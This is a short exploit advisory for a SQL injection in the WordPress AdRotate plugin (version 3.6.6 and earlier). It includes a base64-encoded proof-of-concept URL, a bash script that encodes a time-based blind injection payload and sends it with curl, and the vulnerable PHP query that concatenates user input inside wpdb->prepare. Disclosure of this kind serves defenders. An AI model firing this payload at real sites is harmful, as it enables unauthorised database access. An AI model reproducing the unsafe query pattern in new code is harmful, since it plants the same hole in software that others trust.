WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability

# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
# Date: 2011-11-8
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip
# Version: 3.6.6 (tested)
# Note: parameter $_GET["track"] has to be Base64 encoded

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EI
DE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpK
SksMCkj

e.g.
#!/bin/bash
payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
#"
encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,
112))),0)#" | base64 -w 0`
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$enc
oded

---------------
Vulnerable code
---------------

if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = base64_decode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."a
drotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare
()

p.s. tried to contact author and WordPress team but without any luck